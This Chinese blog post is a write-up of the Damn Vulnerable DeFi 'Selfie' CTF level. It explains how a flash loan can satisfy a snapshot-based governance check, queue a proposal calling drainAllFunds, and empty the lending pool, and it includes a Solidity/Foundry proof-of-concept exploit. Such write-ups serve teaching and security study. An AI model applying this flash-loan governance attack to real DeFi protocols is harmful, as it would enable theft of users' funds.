damn-vulnerable-defi Selfie题解

  • Lori
  • 更新于 2024-06-04 20:04
  • 阅读 989

通过这道简单的ctf题来了解DAO治理过程中可能遇到的攻击,可以结合这篇文章一块学习~从设计原理来学习ERC20Snapshot and ERC20Votes:https://learnblockchain.cn/article/8304

题目链接:https://github.com/Chocolatieee0929/ContractSafetyStudy/tree/main/damn-vulnerable-defi/src/Contracts/selfie

攻击目标

来源于 damn-vulnerable-defi/test/Levels/selfie/README.md

You start with no DVT tokens in balance, and the pool has 1.5 million. Your objective: take them all.

合约分析

DamnValuableTokenSnapshot.sol

这份合约继承了OpenZeppelin ERC20Snapshot,这是oz治理代币标准的实现,我在这篇文章对ERC20Snapshot 和 ERC20Vote 进行了学习。

Function Name Function Signature Functionality
snapshot snapshot() 允许任何人拍摄当前DVT治理代币的快照。它将返回拍摄的快照的ID。
getBalanceAtLastSnapshot getBalanceAtLastSnapshot(address) 一个获取器函数,返回指定账户在上一个快照时的余额。
getTotalSupplyAtLastSnapshot getTotalSupplyAtLastSnapshot() 一个获取器函数,返回上一个快照时治理代币的总供应量。

这个代币被SelfiePoolSimpleGovernance和SelfiePool同时使用:

  1. SelfiePool提供 DVT 的闪电贷;
  2. SimpleGovernance使用DVT代币来检查用户是否拥有足够的投票权(用户余额必须超过上一个快照中DVT代币总供应量的一半)来排队一个操作。

SimpleGovernance.sol

这是一个简单的治理合约,它使用DVT代币来检查用户是否拥有足够的投票权(用户余额必须超过上一个快照中DVT代币总供应量的一半)来排队一个操作。

Function Name Function Signature Functionality
queueAction queueAction(address,bytes,uint256) 将向队列中添加一个提案。只有提案者拥有足够的投票权(在上次快照时间拥有超过DVT总供应量的一半)并且接收者不是治理合约本身msg.sender时,提案才会被添加。
executeAction executeAction(uint256) 只有在提案时间过去足够长的时间(至少两天)才会被执行。
getActionDelay getActionDelay() 返回提案延迟时间
  1. queueAction 我们注意到,想要提出的提案必须满足以下条件:

    1. 提案者必须拥有足够的投票权(在上次快照时间拥有超过DVT总供应量的一半)
    2. 接收者不能是治理合约本身msg.sender

    第一点由于没有对持有代币时间的限制,我们可以通过闪电贷来绕过第一点的检查。

  2. executeAction 我们注意到executeAction是通过外部调用执行提案,

    
    function executeAction(uint256 actionId) external payable {
        // 检提案是否可以被执行
        if (!_canBeExecuted(actionId)) revert CannotExecuteThisAction();
    
        GovernanceAction storage actionToExecute = actions[actionId];
        // 更新行动的执行时间戳
        actionToExecute.executedAt = block.timestamp;

-> actionToExecute.receiver.functionCallWithValue(actionToExecute.data, actionToExecute.weiAmount);

    emit ActionExecuted(actionId, msg.sender);
}
简单来说,通过一定时间的提案通过调用提案中的`receiver`,通过functionCallWithValue 外部调用calldatat(data)来执行提案。

## `SelfiePool.sol`
这是一个简单的借贷合约,其中存入了150万DVT代币,具有无费用的闪电贷方法。除此之外,还提供了`drainAllFunds`函数,该函数被治理函数修饰。
modifier onlyGovernance() {
    if (msg.sender != address(governance)) revert OnlyGovernanceAllowed();
    _;
}

function drainAllFunds(address receiver) external onlyGovernance {
    uint256 amount = token.balanceOf(address(this));
    token.transfer(receiver, amount);

    emit FundsDrained(receiver, amount);
}
只能由治理合约进行调用,结合上述`SimpleGovernance.sol`的`executeAction`函数,我们不难想到,可以通过使用提案来使治理合约调用`drainAllFunds`函数,将dvt全部转给攻击者。

综上,我们通过分析合约,可以找到合约薄弱点如下:
1. `DamnValuableTokenSnapshot.sol` 攻击合约通过`snapshot()`来对DVT进行快照,这块没有对时间进行约束;
2. `SimpleGovernance.sol` 通过`executeAction`来执行receiver的外部调用来实现提案执行逻辑。

# 攻击步骤
1. 通过闪电贷借款,通过`dvtSnapshot.snapshot()`获取投票资格;
2. 发起queueAction,将receiver设置为slefiePool,并将提款给attacker逻辑转换成calldata,转换成提案;
3. 归还闪电贷
4. 模拟时间流失,执行Action,攻击成功。
    注:前1-3步在闪电贷归还函数里实现

# PoC
function testExploit() public {
    selfiePool.flashLoan(TOKENS_IN_POOL);
    vm.warp(block.timestamp + 3 days);
    simpleGovernance.executeAction(actionId);

    validation();
    console.log(unicode"\n🎉 Congratulations, you can go to the next level! 🎉");
}

function receiveTokens(address token, uint256 amount) external {
    // This function is called by the token contract when tokens are transferred to it (via `transferAndCall`)
    require(
        token == address(dvtSnapshot),
        "The token must be DVT"
    );
    /* 
     * 2. 发起queueAction,调用slefiePool的取款,将钱转给attacker
     * 3. 归还闪电贷 
     */
    dvtSnapshot.snapshot();
    dvtSnapshot.snapshot();
    dvtSnapshot.snapshot();
    actionId = simpleGovernance.queueAction(address(selfiePool), abi.encodeWithSignature("drainAllFunds(address)", address(attacker)), 0);
    dvtSnapshot.transfer(msg.sender, amount);

}

完整的PoC代码见[这里](https://github.com/Daemon-Labs/damn-vulnerable-defi/blob/main/src/6.Selfie/SelfieAttacker.sol)
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
Lori
Lori
0x3F3c...Dc2F
最近有点儿小忙,更新不频繁~